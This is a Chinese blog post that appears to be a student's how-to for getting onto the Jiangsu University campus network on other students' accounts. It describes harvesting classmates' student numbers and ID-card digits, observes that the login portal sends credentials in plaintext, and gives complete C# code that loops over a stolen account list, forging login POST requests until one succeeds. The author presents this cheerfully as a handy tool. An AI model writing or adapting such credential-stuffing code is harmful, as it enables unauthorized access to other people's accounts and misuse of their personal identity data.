需求:现在江苏大学在教学行政区上网,用的是自己的学号+密码,经过门户网站登录,但是时间是有限制的,研究生100hs,本科生30hs。然而存在这样一个事实,对于计算机学院的学生来讲,基本每天24hs泡在网上,100hs明显不够用啊!!!!而其他学院的学生因为很多没有实验室,或是对网络的需求小或是基本为0,而存在大量浪费!因此,这直接导致了这样一个事实,计算机学院的学生没网上,或者说为了上网,要从大量的账号中,一个一个的纯手工试,苦不堪言啊!!!!
可行性:由于上网的账号和密码分别对应的是学生的学号和身份证号后6位(可以更改密码,因为很多人不用上网,所以没改,我们可以拿来用用。O(∩_∩)O哈哈~),现在可获得很多学生的注册信息(包含以上信息。)好了资源有了(在工程根目录下Account.txt文件)。技术积累方面,想到了FCL中得WebClient,利用MSDN查询该类信息,发现用於將資料上載至資源的 WebClient 方法如下:
查阅相关方法的具体描述,DebugLZQ认为最简答的方法,就是用UploadString方法,向服务器发送Post请求。 详细信息请参考MSDN文档:http://msdn.microsoft.com/zh-tw/library/system.net.webclient(v=VS.80).aspx。
在前面分析完了腾讯的网页登陆加密机制后,下面我们来看看“江苏大学”的。
打开江苏大学上网登陆页面:http://192.168.100.83/,页面如下:
用Fiddler2查阅Http请求,发现结果如下:
(竟然都是明文!!!)完全是0防备啊!!!!!既然这样子的话,伪造HTTP请求的工作就变得太简单了!(如果像是前面分析的腾讯网页登陆加密机制那样,伪造起来要麻烦一点,为了伪造,需要分析它的加密机制,以给服务器发送正确格式的数据。)
string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey=";
这里的userName和password就是前面看到的明文!构建这个请求就很简单了。
下面给大家附上源码,很简短,但是很实用!如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading;
using System.Net;
namespace EasyForDebugLZQ
{
class Program
{
static void Main(string[] args)
{
StreamReader sr = new StreamReader(@"account.txt");
WebClient webClient = new WebClient();
webClient.Encoding = Encoding.Default;
for (int i=0;i<100 ;i++)
{
string tempString = sr.ReadLine();
Console.WriteLine(tempString);
Console.WriteLine(tempString.Substring(0, 10));
Console.WriteLine(tempString.Substring(tempString.Length - 6, 6));
string userName = tempString.Substring(0, 10);
string password = tempString.Substring(tempString.Length - 6, 6);
string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey=";
string s = webClient.UploadString(@"http://192.168.100.83/", postStr);
Thread.Sleep(1000);
if (s.Length == 3630)
{
Console.WriteLine("Login Success! UserName="+userName +"Password="+password );
break;
}
}
}
}
}
程序很简单,效果如下(因为今天是1号,所以第一个账号就登陆成功了!O(∩_∩)O哈哈~):
这时就可以打开你的浏览器,Happy的上网了!(这里DebugLZQ避免了“程序中表达式的副作用问题”,当初DebugLZQ着手做这个小工具的时候,遇到了这个问题。在园子里,百度上,Google里搜寻半天,基本没有找到解决方法!DebugLZQ给出解决方案,希望对遇到同样问题的博友有点帮助,请期待DebugLZQ的下一篇博文。)
祝各位博友元旦快乐!!!!!!!!!!!!!!
【请点击下面的“绿色通道”-"关注DebugLZQ",DebugLZQ乐意与各位一同学习进步!,各位元旦快乐!Happy New Year!】
----------------
Update:
运行这个小工具的前提是网络通畅,也就是说我们的电脑的IP不能和别人的冲突。而在学校这个环境,现实的实际是:IP先到先得。所以为自己寻找一个可用的IP,很多时候比较让人烦心,特别是大部分IP被占用的时候。
这个请参考DebugLZQ后面的博文:
(江苏大学行政教学区)校园网上网帮助之二----自动设置IP小助手【城市热点】